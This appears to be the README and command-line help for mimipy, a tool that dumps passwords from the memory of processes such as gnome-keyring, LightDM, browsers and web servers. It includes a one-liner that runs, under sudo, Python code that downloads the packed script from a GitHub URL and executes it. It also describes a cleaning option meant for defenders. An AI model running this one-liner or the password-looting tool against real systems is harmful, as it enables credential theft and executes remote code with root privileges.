Tool to dump passwords from various processes memory. Works on windows/linux/OSX ! Features :
- Embbed technique from @huntergregal's mimipenguin.sh to dump passwords from gnome-keyring with some additional features :
- can dump passwords from lightDM
- possibility to mitigate the attack by overwriting passwords found in memory (you might want to add a cron)
- find GET/POST/Basic passwords from browsers memory or HTTP Servers
- function to search for any trace of your password in all your processes
- function to scan a process by pid with all techniques available
you can install memorpy and run mimipy.py or directly use the packed version that doesn't require any dependency
python packed/mimipy.pyyou can also use one the following oneliner :
sudo python -c 'import urllib;exec urllib.urlopen("https://raw.githubusercontent.com/n1nj4sec/mimipy/master/packed/mimipy.py").read()'usage: mimipy.py [-h] [--clean] [-v] [-n] [-p PID] [-i IGNORE]
[--search-password] [-m {cleartext,xor,b64,all,no-cleartext}]
mimipy can loot passwords from memory or overwrite them to mitigate mimipenguin's dumps !
Author: Nicolas VERDIER ([email protected])
orginal mimipenguin.sh script and idea from @huntergregal
Bleeding Edge version: https://github.com/n1nj4sec/mimipy
optional arguments:
-h, --help show this help message and exit
--clean @blueteams protect yourself and clean found passwords from memory ! You might want to regularly run this on your workstation/servers
-v, --verbose be more verbose !
-n, --no-optimize disable optimisations (search the whole memory whatever region perms are) (slower)
-p PID, --pid PID choose the process's pid to scan instead of automatic selection
-i IGNORE, --ignore IGNORE
ignore a process. This option can be used multiple times. ex: -i apache2 -i firefox
--search-password prompt for your password and search it in all your processes !.
-m {cleartext,xor,b64,all,no-cleartext}, --search-mode {cleartext,xor,b64,all,no-cleartext}
search for different obfuscations methods
by mail: [email protected]
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Special thanks to @huntergregal for releasing his mimipenguin.sh idea and @gentilwiki for the awesome mimikatz tool